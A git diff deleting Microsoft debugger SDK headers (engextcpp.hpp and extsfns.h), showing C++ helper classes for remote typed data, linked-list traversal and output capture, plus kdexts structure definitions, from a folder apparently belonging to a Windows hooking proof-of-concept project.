-
- ULONG GetTypeSize(void) throw(...)
- {
- ULONG Size;
-
- ErtIoctl("GetTypeSize", EXT_TDOP_GET_TYPE_SIZE, ErtIn,
- NULL, 0, NULL, NULL, 0, &Size);
- return Size;
- }
-
- ULONG GetFieldOffset(__in PCSTR Field) throw(...);
-
- ExtRemoteTyped Field(__in PCSTR Field) throw(...);
- ExtRemoteTyped ArrayElement(__in LONG64 Index) throw(...);
- ExtRemoteTyped Dereference(void) throw(...);
- ExtRemoteTyped GetPointerTo(void) throw(...);
- ExtRemoteTyped Eval(__in PCSTR Expr) throw(...);
-
- ExtRemoteTyped operator[](__in LONG Index)
- {
- return ArrayElement(Index);
- }
- ExtRemoteTyped operator[](__in ULONG Index)
- {
- return ArrayElement((LONG64)Index);
- }
- ExtRemoteTyped operator[](__in LONG64 Index)
- {
- return ArrayElement(Index);
- }
- ExtRemoteTyped operator[](__in ULONG64 Index)
- {
- if (Index > 0x7fffffffffffffffUI64)
- {
- g_Ext->ThrowRemote
- (HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW),
- "Array index too large");
- }
- return ArrayElement((LONG64)Index);
- }
- ExtRemoteTyped operator*(void)
- {
- return Dereference();
- }
-
- // Uses the circular string buffer.
- PSTR GetTypeName(void) throw(...);
-
- void OutTypeName(void) throw(...)
- {
- ErtIoctl("OutTypeName", EXT_TDOP_OUTPUT_TYPE_NAME, ErtIn);
- }
- void OutSimpleValue(void) throw(...)
- {
- ErtIoctl("OutSimpleValue", EXT_TDOP_OUTPUT_SIMPLE_VALUE, ErtIn);
- }
- void OutFullValue(void) throw(...)
- {
- ErtIoctl("OutFullValue", EXT_TDOP_OUTPUT_FULL_VALUE, ErtIn);
- }
- void OutTypeDefinition(void) throw(...)
- {
- ErtIoctl("OutTypeDefinition", EXT_TDOP_OUTPUT_TYPE_DEFINITION, ErtIn);
- }
-
- void Release(void)
- {
- if (m_Release)
- {
- ErtIoctl("Release", EXT_TDOP_RELEASE, ErtIn | ErtIgnoreError);
- Clear();
- }
- }
-
- static ULONG GetTypeFieldOffset(__in PCSTR Type,
- __in PCSTR Field) throw(...);
-
- DEBUG_TYPED_DATA m_Typed;
- bool m_Release;
-
-protected:
- static const ULONG ErtIn = 0x00000001;
- static const ULONG ErtOut = 0x00000002;
- static const ULONG ErtUncheckedIn = 0x00000004;
- static const ULONG ErtIgnoreError = 0x00000008;
-
- HRESULT ErtIoctl(__in PCSTR Message,
- __in EXT_TDOP Op,
- __in ULONG Flags,
- __in_opt PCSTR InStr = NULL,
- __in ULONG64 In64 = 0,
- __out_opt ExtRemoteTyped* Ret = NULL,
- __out_ecount_opt(StrBufferChars) PSTR StrBuffer = NULL,
- __in ULONG StrBufferChars = 0,
- __out_opt PULONG Out32 = NULL);
- void Clear(void);
-};
-
-//----------------------------------------------------------------------------
-//
-// ExtRemoteList wraps a basic singly- or double-linked list.
-// It can iterate over the list and retrieve nodes both
-// forwards and backwards. It handles both NULL-terminated
-// and lists that are circular through a head pointer (NT-style).
-//
-// When doubly-linked it is assumed that the previous
-// pointer immediately follows the next pointer.
-//
-//----------------------------------------------------------------------------
-
-class ExtRemoteList
-{
-public:
- ExtRemoteList(__in ULONG64 Head,
- __in ULONG LinkOffset,
- __in bool Double = false)
- {
- m_Head = Head;
- m_LinkOffset = LinkOffset;
- m_Double = Double;
- m_MaxIter = 65536;
- }
- ExtRemoteList(__in ExtRemoteData& Head,
- __in ULONG LinkOffset,
- __in bool Double = false)
- {
- m_Head = Head.m_Offset;
- m_LinkOffset = LinkOffset;
- m_Double = Double;
- m_MaxIter = 65536;
- }
-
- void StartHead(void)
- {
- m_Node.Set(m_Head, g_Ext->m_PtrSize);
- m_CurIter = 0;
- }
- void StartTail(void)
- {
- if (!m_Double)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteList is singly-linked");
- }
-
- m_Node.Set(m_Head + g_Ext->m_PtrSize, g_Ext->m_PtrSize);
- m_CurIter = 0;
- }
- bool HasNode(void)
- {
- g_Ext->ThrowInterrupt();
- ULONG64 NodeOffs = m_Node.GetPtr();
- return NodeOffs != 0 && NodeOffs != m_Head;
- }
- ULONG64 GetNodeOffset(void)
- {
- return m_Node.GetPtr() - m_LinkOffset;
- }
- void Next(void)
- {
- if (++m_CurIter > m_MaxIter)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "List iteration count exceeded, loop assumed");
- }
-
- m_Node.Set(m_Node.GetPtr(), g_Ext->m_PtrSize);
- }
- void Prev(void)
- {
- g_Ext->ThrowInterrupt();
-
- if (!m_Double)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteList is singly-linked");
- }
-
- if (++m_CurIter > m_MaxIter)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "List iteration count exceeded, loop assumed");
- }
-
- m_Node.Set(m_Node.GetPtr() + g_Ext->m_PtrSize, g_Ext->m_PtrSize);
- }
-
- ULONG64 m_Head;
- ULONG m_LinkOffset;
- bool m_Double;
- ULONG m_MaxIter;
- ExtRemoteData m_Node;
- ULONG m_CurIter;
-};
-
-//----------------------------------------------------------------------------
-//
-// ExtRemoteTypedList enhances the basic ExtRemoteList to
-// understand the type of the nodes in the list and to
-// automatically determine link offsets from type information.
-//
-//----------------------------------------------------------------------------
-
-class ExtRemoteTypedList : public ExtRemoteList
-{
-public:
- ExtRemoteTypedList(__in ULONG64 Head,
- __in PCSTR Type,
- __in PCSTR LinkField,
- __in ULONG64 TypeModBase = 0,
- __in ULONG TypeId = 0,
- __inout PULONG64 CacheCookie = NULL,
- __in bool Double = false) throw(...)
- : ExtRemoteList(Head, 0, Double)
- {
- SetTypeAndLink(Type, LinkField, TypeModBase, TypeId, CacheCookie);
- }
- ExtRemoteTypedList(__in ExtRemoteData& Head,
- __in PCSTR Type,
- __in PCSTR LinkField,
- __in ULONG64 TypeModBase = 0,
- __in ULONG TypeId = 0,
- __inout_opt PULONG64 CacheCookie = NULL,
- __in bool Double = false) throw(...)
- : ExtRemoteList(Head, 0, Double)
- {
- SetTypeAndLink(Type, LinkField, TypeModBase, TypeId, CacheCookie);
- }
-
- void SetTypeAndLink(__in PCSTR Type,
- __in PCSTR LinkField,
- __in ULONG64 TypeModBase = 0,
- __in ULONG TypeId = 0,
- __inout_opt PULONG64 CacheCookie = NULL) throw(...)
- {
- m_Type = Type;
- m_TypeModBase = TypeModBase;
- m_TypeId = TypeId;
- if (CacheCookie)
- {
- m_LinkOffset = g_Ext->GetCachedFieldOffset(CacheCookie,
- Type,
- LinkField,
- &m_TypeModBase,
- &m_TypeId);
- }
- else
- {
- m_LinkOffset = ExtRemoteTyped::GetTypeFieldOffset(Type, LinkField);
- }
- }
-
- ExtRemoteTyped GetTypedNodePtr(void) throw(...)
- {
- ExtRemoteTyped Typed;
-
- if (m_TypeId)
- {
- Typed.Set(true, m_TypeModBase, m_TypeId,
- m_Node.GetPtr() - m_LinkOffset);
- }
- else
- {
- Typed.SetPrint("(%s*)0x%I64x",
- m_Type, m_Node.GetPtr() - m_LinkOffset);
-
- // Save the type info so that future nodes
- // can be resolved without needing
- // expression evaluation.
- ExtRemoteTyped Deref = Typed.Dereference();
- m_TypeModBase = Deref.m_Typed.ModBase;
- m_TypeId = Deref.m_Typed.TypeId;
- }
- return Typed;
- }
- ExtRemoteTyped GetTypedNode(void) throw(...)
- {
- ExtRemoteTyped Typed;
-
- if (m_TypeId)
- {
- Typed.Set(false, m_TypeModBase, m_TypeId,
- m_Node.GetPtr() - m_LinkOffset);
- }
- else
- {
- Typed.SetPrint("*(%s*)0x%I64x",
- m_Type, m_Node.GetPtr() - m_LinkOffset);
-
- // Save the type info so that future nodes
- // can be resolved without needing
- // expression evaluation.
- m_TypeModBase = Typed.m_Typed.ModBase;
- m_TypeId = Typed.m_Typed.TypeId;
- }
- return Typed;
- }
-
- PCSTR m_Type;
- ULONG64 m_TypeModBase;
- ULONG m_TypeId;
-};
-
-//----------------------------------------------------------------------------
-//
-// Helpers for handling well-known NT data and types.
-//
-//----------------------------------------------------------------------------
-
-class ExtNtOsInformation
-{
-public:
- //
- // Kernel mode.
- //
-
- static ULONG64 GetKernelLoadedModuleListHead(void);
- static ExtRemoteTypedList GetKernelLoadedModuleList(void);
- static ExtRemoteTyped GetKernelLoadedModule(__in ULONG64 Offset);
-
- static ULONG64 GetKernelProcessListHead(void);
- static ExtRemoteTypedList GetKernelProcessList(void);
- static ExtRemoteTyped GetKernelProcess(__in ULONG64 Offset);
-
- static ULONG64 GetKernelProcessThreadListHead(__in ULONG64 Process);
- static ExtRemoteTypedList GetKernelProcessThreadList(__in ULONG64 Process);
- static ExtRemoteTyped GetKernelThread(__in ULONG64 Offset);
-
- //
- // User mode.
- //
-
- static ULONG64 GetUserLoadedModuleListHead(__in bool NativeOnly = false);
- static ExtRemoteTypedList
- GetUserLoadedModuleList(__in bool NativeOnly = false);
- static ExtRemoteTyped GetUserLoadedModule(__in ULONG64 Offset,
- __in bool NativeOnly = false);
-
- //
- // PEB and TEB.
- //
- // The alternate PEB and TEB are secondary PEB and TEB
- // data, such as the 32-bit PEB and TEB in a WOW64
- // debugging session. They may or may not be defined
- // depending on the session.
- //
-
- static ULONG64 GetOsPebPtr(void);
- static ExtRemoteTyped GetOsPeb(__in ULONG64 Offset);
- static ExtRemoteTyped GetOsPeb(void)
- {
- return GetOsPeb(GetOsPebPtr());
- }
-
- static ULONG64 GetOsTebPtr(void);
- static ExtRemoteTyped GetOsTeb(__in ULONG64 Offset);
- static ExtRemoteTyped GetOsTeb(void)
- {
- return GetOsTeb(GetOsTebPtr());
- }
-
- static ULONG64 GetAltPebPtr(void);
- static ExtRemoteTyped GetAltPeb(__in ULONG64 Offset);
- static ExtRemoteTyped GetAltPeb(void)
- {
- return GetAltPeb(GetAltPebPtr());
- }
-
- static ULONG64 GetAltTebPtr(void);
- static ExtRemoteTyped GetAltTeb(__in ULONG64 Offset);
- static ExtRemoteTyped GetAltTeb(void)
- {
- return GetAltTeb(GetAltTebPtr());
- }
-
- static ULONG64 GetCurPebPtr(void);
- static ExtRemoteTyped GetCurPeb(__in ULONG64 Offset);
- static ExtRemoteTyped GetCurPeb(void)
- {
- return GetCurPeb(GetCurPebPtr());
- }
-
- static ULONG64 GetCurTebPtr(void);
- static ExtRemoteTyped GetCurTeb(__in ULONG64 Offset);
- static ExtRemoteTyped GetCurTeb(void)
- {
- return GetCurTeb(GetCurTebPtr());
- }
-
- //
- // Utilities.
- //
-
- static ULONG64 GetNtDebuggerData(__in ULONG DataOffset,
- __in PCSTR Symbol,
- __in ULONG Flags);
-
-protected:
- static ULONG64 s_KernelLoadedModuleBaseInfoCookie;
- static ULONG64 s_KernelProcessBaseInfoCookie;
- static ULONG64 s_KernelThreadBaseInfoCookie;
- static ULONG64 s_KernelProcessThreadListFieldCookie;
- static ULONG64 s_UserOsLoadedModuleBaseInfoCookie;
- static ULONG64 s_UserAltLoadedModuleBaseInfoCookie;
- static ULONG64 s_OsPebBaseInfoCookie;
- static ULONG64 s_AltPebBaseInfoCookie;
- static ULONG64 s_OsTebBaseInfoCookie;
- static ULONG64 s_AltTebBaseInfoCookie;
-};
-
-//----------------------------------------------------------------------------
-//
-// Number-to-string helpers for things like #define translations.
-//
-//----------------------------------------------------------------------------
-
-//
-// Convenience macros for filling define declarations.
-//
-
-#define EXT_DEFINE_DECL(_Def) \
- { #_Def, _Def },
-#define EXT_DEFINE_END { NULL, 0 }
-
-// In order to avoid #define replacement on the names
-// these macros cannot be nested macros.
-#define EXT_DEFINE_DECL2(_Def1, _Def2) \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }
-#define EXT_DEFINE_DECL3(_Def1, _Def2, _Def3) \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 }
-#define EXT_DEFINE_DECL4(_Def1, _Def2, _Def3, _Def4) \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 }, { #_Def4, _Def4 }
-#define EXT_DEFINE_DECL5(_Def1, _Def2, _Def3, _Def4, _Def5) \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\
- { #_Def4, _Def4 }, { #_Def5, _Def5 }
-#define EXT_DEFINE_DECL6(_Def1, _Def2, _Def3, _Def4, _Def5, _Def6) \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\
- { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 }
-#define EXT_DEFINE_DECL7(_Def1, _Def2, _Def3, _Def4, _Def5, _Def6, _Def7) \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\
- { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 }, { #_Def7, _Def7 }
-
-//
-// Convenience macros for declaring global maps.
-//
-
-#define EXT_DEFINE_MAP_DECL(_Name, _Flags) \
-ExtDefineMap g_##_Name##DefineMap(g_##_Name##Defines, _Flags)
-
-#define EXT_DEFINE_MAP1(_Name, _Flags, _Def1) \
-ExtDefine g_##_Name##Defines[] = { \
- { #_Def1, _Def1 }, EXT_DEFINE_END \
-}; EXT_DEFINE_MAP_DECL(_Name, _Flags)
-#define EXT_DEFINE_MAP2(_Name, _Flags, _Def1, _Def2) \
-ExtDefine g_##_Name##Defines[] = { \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, EXT_DEFINE_END \
-}; EXT_DEFINE_MAP_DECL(_Name, _Flags)
-#define EXT_DEFINE_MAP3(_Name, _Flags, _Def1, _Def2, _Def3) \
-ExtDefine g_##_Name##Defines[] = { \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\
- EXT_DEFINE_END \
-}; EXT_DEFINE_MAP_DECL(_Name, _Flags)
-#define EXT_DEFINE_MAP4(_Name, _Flags, _Def1, _Def2, _Def3, _Def4) \
-ExtDefine g_##_Name##Defines[] = { \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\
- { #_Def4, _Def4 }, EXT_DEFINE_END \
-}; EXT_DEFINE_MAP_DECL(_Name, _Flags)
-#define EXT_DEFINE_MAP5(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5) \
-ExtDefine g_##_Name##Defines[] = { \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\
- { #_Def4, _Def4 }, { #_Def5, _Def5 }, EXT_DEFINE_END \
-}; EXT_DEFINE_MAP_DECL(_Name, _Flags)
-#define EXT_DEFINE_MAP6(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5, _Def6) \
-ExtDefine g_##_Name##Defines[] = { \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\
- { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 },\
- EXT_DEFINE_END \
-}; EXT_DEFINE_MAP_DECL(_Name, _Flags)
-#define EXT_DEFINE_MAP7(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5, _Def6, _Def7) \
-ExtDefine g_##_Name##Defines[] = { \
- { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\
- { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 },\
- { #_Def7, _Def7 }, EXT_DEFINE_END \
-}; EXT_DEFINE_MAP_DECL(_Name, _Flags)
-
-struct ExtDefine
-{
- PCSTR Name;
- ULONG64 Value;
-};
-
-class ExtDefineMap
-{
-public:
- ExtDefineMap(__in ExtDefine* Defines,
- __in ULONG Flags)
- {
- m_Defines = Defines;
- m_Flags = Flags;
- };
-
- static const ULONG Bitwise = 0x00000001;
- static const ULONG OutValue = 0x00000002;
- static const ULONG OutValue32 = 0x00000004;
- static const ULONG OutValue64 = 0x00000008;
- static const ULONG OutValueAny = OutValue | OutValue32 | OutValue64;
- static const ULONG OutValueAlready = 0x00000010;
- static const ULONG ValueAny = OutValueAny | OutValueAlready;
-
- // Defines are searched in the order given for
- // defines where the full value of the define is
- // included in the argument value. Multi-bit
- // defines should come before single-bit defines
- // so that they take priority for bitwise maps.
- ExtDefine* Map(__in ULONG64 Value);
- PCSTR MapStr(__in ULONG64 Value,
- __in_opt PCSTR InvalidStr = NULL);
-
- // For a bitwise map, outputs all defines
- // that can be found in the value.
- // For non-bitwise, outputs the matching define.
- // Uses wrapped output.
- void Out(__in ULONG64 Value,
- __in ULONG Flags = 0,
- __in_opt PCSTR InvalidStr = NULL);
-
- ExtDefine* m_Defines;
- ULONG m_Flags;
-};
-
-//----------------------------------------------------------------------------
-//
-// Output capture helper class.
-//
-//----------------------------------------------------------------------------
-
-template
-class ExtCaptureOutput : public _BaseClass
-{
-public:
- ExtCaptureOutput(void)
- {
- m_Started = false;
- m_Text = NULL;
- Delete();
- }
- ~ExtCaptureOutput(void)
- {
- Delete();
- }
-
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- )
- {
- *Interface = NULL;
-
- if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) ||
- IsEqualIID(InterfaceId, __uuidof(_BaseClass)))
- {
- *Interface = (_BaseClass *)this;
- AddRef();
- return S_OK;
- }
- else
- {
- return E_NOINTERFACE;
- }
- }
- STDMETHOD_(ULONG, AddRef)(
- THIS
- )
- {
- // This class is designed to be non-dynamic so
- // there's no true refcount.
- return 1;
- }
- STDMETHOD_(ULONG, Release)(
- THIS
- )
- {
- // This class is designed to be non-dynamic so
- // there's no true refcount.
- return 0;
- }
-
- // IDebugOutputCallbacks*.
- STDMETHOD(Output)(
- THIS_
- __in ULONG Mask,
- __in const _CharType* Text
- )
- {
- ULONG Chars;
-
- if (sizeof(_CharType) == sizeof(char))
- {
- Chars = strlen((PSTR)Text) + 1;
- }
- else
- {
- Chars = wcslen((PWSTR)Text) + 1;
- }
- if (Chars < 2)
- {
- return S_OK;
- }
-
- if (0xffffffff / sizeof(_CharType) - m_UsedChars < Chars)
- {
- return HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW);
- }
-
- if (m_UsedChars + Chars > m_AllocChars)
- {
- ULONG NewBytes;
-
- // Overallocate when growing to prevent
- // continuous allocation.
- if (0xffffffff / sizeof(_CharType) - m_UsedChars - Chars > 256)
- {
- NewBytes = (m_UsedChars + Chars + 256) * sizeof(_CharType);
- }
- else
- {
- NewBytes = (m_UsedChars + Chars) * sizeof(_CharType);
- }
- PVOID NewMem = realloc(m_Text, NewBytes);
- if (!NewMem)
- {
- return E_OUTOFMEMORY;
- }
-
- m_Text = (_CharType*)NewMem;
- m_AllocChars = NewBytes / sizeof(_CharType);
- }
-
- memcpy(m_Text + m_UsedChars, Text,
- Chars * sizeof(_CharType));
- // Advance up to but not past the terminator
- // so that it gets overwritten by the next text.
- m_UsedChars += Chars - 1;
- return S_OK;
- }
-
- void Start(void)
- {
- HRESULT Status;
-
- if (sizeof(_CharType) == sizeof(char))
- {
- if ((Status = g_Ext->m_Client->
- GetOutputCallbacks((IDebugOutputCallbacks**)
- &m_OldOutCb)) != S_OK)
- {
- g_Ext->ThrowStatus(Status,
- "Unable to get previous output callback");
- }
- if ((Status = g_Ext->m_Client->
- SetOutputCallbacks((IDebugOutputCallbacks*)
- this)) != S_OK)
- {
- g_Ext->ThrowStatus(Status,
- "Unable to set capture output callback");
- }
- }
- else
- {
- if ((Status = g_Ext->m_Client5->
- GetOutputCallbacksWide((IDebugOutputCallbacksWide**)
- &m_OldOutCb)) != S_OK)
- {
- g_Ext->ThrowStatus(Status,
- "Unable to get previous output callback");
- }
- if ((Status = g_Ext->m_Client5->
- SetOutputCallbacksWide((IDebugOutputCallbacksWide*)
- this)) != S_OK)
- {
- g_Ext->ThrowStatus(Status,
- "Unable to set capture output callback");
- }
- }
-
- m_UsedChars = 0;
- m_Started = true;
- }
-
- void Stop(void)
- {
- HRESULT Status;
-
- m_Started = false;
-
- if (sizeof(_CharType) == sizeof(char))
- {
- if ((Status = g_Ext->m_Client->
- SetOutputCallbacks((IDebugOutputCallbacks*)
- m_OldOutCb)) != S_OK)
- {
- g_Ext->ThrowStatus(Status,
- "Unable to restore output callback");
- }
- }
- else
- {
- if ((Status = g_Ext->m_Client5->
- SetOutputCallbacksWide((IDebugOutputCallbacksWide*)
- m_OldOutCb)) != S_OK)
- {
- g_Ext->ThrowStatus(Status,
- "Unable to restore output callback");
- }
- }
-
- m_OldOutCb = NULL;
- }
-
- void Delete(void)
- {
- if (m_Started)
- {
- Stop();
- }
-
- free(m_Text);
- m_Text = NULL;
- m_AllocChars = 0;
- m_UsedChars = 0;
- }
-
- void Execute(__in PCSTR Command)
- {
- Start();
-
- // Hide all output from the execution
- // and don't save the command.
- g_Ext->m_Control->Execute(DEBUG_OUTCTL_THIS_CLIENT |
- DEBUG_OUTCTL_OVERRIDE_MASK |
- DEBUG_OUTCTL_NOT_LOGGED,
- Command,
- DEBUG_EXECUTE_NOT_LOGGED |
- DEBUG_EXECUTE_NO_REPEAT);
-
- Stop();
- }
-
- const _CharType* GetTextNonNull(void)
- {
- if (sizeof(_CharType) == sizeof(char))
- {
- return m_Text ? (PCSTR)m_Text : "";
- }
- else
- {
- return m_Text ? (PCWSTR)m_Text : L"";
- }
- }
-
- bool m_Started;
- ULONG m_AllocChars;
- ULONG m_UsedChars;
- _CharType* m_Text;
-
- _BaseClass* m_OldOutCb;
-};
-
-typedef ExtCaptureOutput ExtCaptureOutputA;
-typedef ExtCaptureOutput ExtCaptureOutputW;
-
-#if _MSC_VER >= 800
-#pragma warning(default:4121)
-#endif
-
-#include
-
-#endif // #ifndef __ENGEXTCPP_HPP__
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/extsfns.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/extsfns.h
deleted file mode 100644
index 6ef665b7..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/extsfns.h
+++ /dev/null
@@ -1,1732 +0,0 @@
-/*++
-
-Copyright (c) 2006 Microsoft Corporation
-
-Module Name:
-
- extsfns.h
-
-Abstract:
-
- This header file must be included after "windows.h", "dbgeng.h", and
- "wdbgexts.h".
-
- This file contains headers for various known extension functions defined
- in different extension dlls. To use these functions, the appropriate
- extension dll must be loaded in the debugger. IDebugSymbols->GetExtension
- (declared in dbgeng.h) method could be used to retrieve these functions.
-
- Please see the Debugger documentation for specific information about how
- to write your own debugger extension DLL.
-
-Environment:
-
- Win32 only.
-
-Revision History:
-
---*/
-
-#ifndef _EXTFNS_H
-#define _EXTFNS_H
-
-#define _EXTSAPI_VER_ 9
-
-#ifndef _KDEXTSFN_H
-#define _KDEXTSFN_H
-
-/*
- * Extension functions defined in kdexts.dll
- */
-
-//
-// device.c
-//
-typedef struct _DEBUG_DEVICE_OBJECT_INFO {
- ULONG SizeOfStruct; // must be == sizeof(DEBUG_DEVICE_OBJECT_INFO)
- ULONG64 DevObjAddress;
- ULONG ReferenceCount;
- BOOL QBusy;
- ULONG64 DriverObject;
- ULONG64 CurrentIrp;
- ULONG64 DevExtension;
- ULONG64 DevObjExtension;
-} DEBUG_DEVICE_OBJECT_INFO, *PDEBUG_DEVICE_OBJECT_INFO;
-
-
-// GetDevObjInfo
-typedef HRESULT
-(WINAPI *PGET_DEVICE_OBJECT_INFO)(
- IN PDEBUG_CLIENT Client,
- IN ULONG64 DeviceObject,
- OUT PDEBUG_DEVICE_OBJECT_INFO pDevObjInfo);
-
-
-//
-// driver.c
-//
-typedef struct _DEBUG_DRIVER_OBJECT_INFO {
- ULONG SizeOfStruct; // must be == sizeof(DEBUG_DRIVER_OBJECT_INFO)
- ULONG DriverSize;
- ULONG64 DriverObjAddress;
- ULONG64 DriverStart;
- ULONG64 DriverExtension;
- ULONG64 DeviceObject;
- struct {
- USHORT Length;
- USHORT MaximumLength;
- ULONG64 Buffer;
- } DriverName;
-} DEBUG_DRIVER_OBJECT_INFO, *PDEBUG_DRIVER_OBJECT_INFO;
-
-// GetDrvObjInfo
-typedef HRESULT
-(WINAPI *PGET_DRIVER_OBJECT_INFO)(
- IN PDEBUG_CLIENT Client,
- IN ULONG64 DriverObject,
- OUT PDEBUG_DRIVER_OBJECT_INFO pDrvObjInfo);
-
-//
-// dump.cpp
-//
-typedef struct _DEBUG_CPU_SPEED_INFO {
- ULONG SizeOfStruct; // must be == sizeof(DEBUG_CPU_SPEED_INFO)
- ULONG CurrentSpeed;
- ULONG RatedSpeed;
- WCHAR NameString[256];
-} DEBUG_CPU_SPEED_INFO, *PDEBUG_CPU_SPEED_INFO;
-
-typedef HRESULT
-(WINAPI *PGET_CPU_PSPEED_INFO)(
- IN PDEBUG_CLIENT Client,
- OUT PDEBUG_CPU_SPEED_INFO pCpuSpeedInfo);
-
-typedef struct _DEBUG_CPU_MICROCODE_VERSION {
- ULONG SizeOfStruct; // must be == sizeof(DEBUG_CPU_MICROCODE_VERSION)
- LARGE_INTEGER CachedSignature;
- LARGE_INTEGER InitialSignature;
- ULONG ProcessorModel;
- ULONG ProcessorFamily;
- ULONG ProcessorStepping; // ProcessorRevision on IA64
- ULONG ProcessorArchRev; // IA64?
-} DEBUG_CPU_MICROCODE_VERSION, *PDEBUG_CPU_MICROCODE_VERSION;
-
-typedef HRESULT
-(WINAPI *PGET_CPU_MICROCODE_VERSION)(
- IN PDEBUG_CLIENT Client,
- OUT PDEBUG_CPU_MICROCODE_VERSION pCpuMicrocodeVersion);
-
-typedef struct _DEBUG_SMBIOS_INFO {
- ULONG SizeOfStruct;
- UCHAR SmbiosMajorVersion;
- UCHAR SmbiosMinorVersion;
- UCHAR DMIVersion;
- ULONG TableSize;
- UCHAR BiosMajorRelease;
- UCHAR BiosMinorRelease;
- UCHAR FirmwareMajorRelease;
- UCHAR FirmwareMinorRelease;
- CHAR BaseBoardManufacturer[64];
- CHAR BaseBoardProduct[64];
- CHAR BaseBoardVersion[64];
- CHAR BiosReleaseDate[64];
- CHAR BiosVendor[64];
- CHAR BiosVersion[64];
- CHAR SystemFamily[64];
- CHAR SystemManufacturer[64];
- CHAR SystemProductName[64];
- CHAR SystemSKU[64];
- CHAR SystemVersion[64];
-} DEBUG_SMBIOS_INFO, *PDEBUG_SMBIOS_INFO;
-
-//
-// GetSmbiosInfo extension function from kdexts
-//
-typedef HRESULT
-(WINAPI *PGET_SMBIOS_INFO)(
- IN PDEBUG_CLIENT Client,
- OUT PDEBUG_SMBIOS_INFO pSmbiosInfo
- );
-
-//
-// irp.c
-//
-typedef struct _DEBUG_IRP_STACK_INFO {
- UCHAR Major;
- UCHAR Minor;
- ULONG64 DeviceObject;
- ULONG64 FileObject;
- ULONG64 CompletionRoutine;
- ULONG64 StackAddress;
-} DEBUG_IRP_STACK_INFO, *PDEBUG_IRP_STACK_INFO;
-
-typedef struct _DEBUG_IRP_INFO {
- ULONG SizeOfStruct; // Must be == sizeof(DEBUG_IRP_INFO)
- ULONG64 IrpAddress;
- ULONG IoStatus;
- ULONG StackCount;
- ULONG CurrentLocation;
- ULONG64 MdlAddress;
- ULONG64 Thread;
- ULONG64 CancelRoutine;
- DEBUG_IRP_STACK_INFO CurrentStack;
- DEBUG_IRP_STACK_INFO Stack[10]; // Top 10 frames of irp stack
-} DEBUG_IRP_INFO, *PDEBUG_IRP_INFO;
-
-// GetIrpInfo
-typedef HRESULT
-(WINAPI * PGET_IRP_INFO)(
- IN PDEBUG_CLIENT Client,
- IN ULONG64 Irp,
- OUT PDEBUG_IRP_INFO IrpInfo
- );
-
-//
-// pnpexts.cpp
-//
-typedef struct _DDEBUG_PNP_TRIAGE_INFO {
- ULONG SizeOfStruct; // must be == sizeof(DEBUG_PNP_TRIAGE_INFO)
- ULONG64 Lock_Address;
- LONG Lock_ActiveCount;
- ULONG Lock_ContentionCount;
- ULONG Lock_NumberOfExclusiveWaiters;
- ULONG Lock_NumberOfSharedWaiters;
- USHORT Lock_Flag;
- ULONG64 TriagedThread;
- LONG ThreadCount;
- ULONG64 TriagedThread_WaitTime;
- //ULONG64 PpDeviceActionThread;
- //ULONG64 PpDeviceEventThread;
-} DEBUG_PNP_TRIAGE_INFO, *PDEBUG_PNP_TRIAGE_INFO;
-
-//
-// pnpexts.cpp (GetPNPTriageInfo)
-//
-typedef HRESULT
-(WINAPI *PGET_PNP_TRIAGE_INFO)(
- IN PDEBUG_CLIENT Client,
- OUT PDEBUG_PNP_TRIAGE_INFO pPNPTriageInfo);
-
-
-//
-// pool.c
-//
-typedef struct _DEBUG_POOL_DATA {
- ULONG SizeofStruct;
- ULONG64 PoolBlock;
- ULONG64 Pool;
- ULONG PreviousSize;
- ULONG Size;
- ULONG PoolTag;
- ULONG64 ProcessBilled;
- union {
- struct {
- ULONG Free:1;
- ULONG LargePool:1;
- ULONG SpecialPool:1;
- ULONG Pageable:1;
- ULONG Protected:1;
- ULONG Allocated:1;
- ULONG Reserved:26;
- };
- ULONG AsUlong;
- };
- ULONG64 Reserved2[4];
- CHAR PoolTagDescription[64];
-} DEBUG_POOL_DATA, *PDEBUG_POOL_DATA;
-
-
-// GetPoolData
-typedef HRESULT
-(WINAPI *PGET_POOL_DATA)(
- PDEBUG_CLIENT Client,
- ULONG64 Pool,
- PDEBUG_POOL_DATA PoolData
- );
-
-typedef enum _DEBUG_POOL_REGION {
- DbgPoolRegionUnknown,
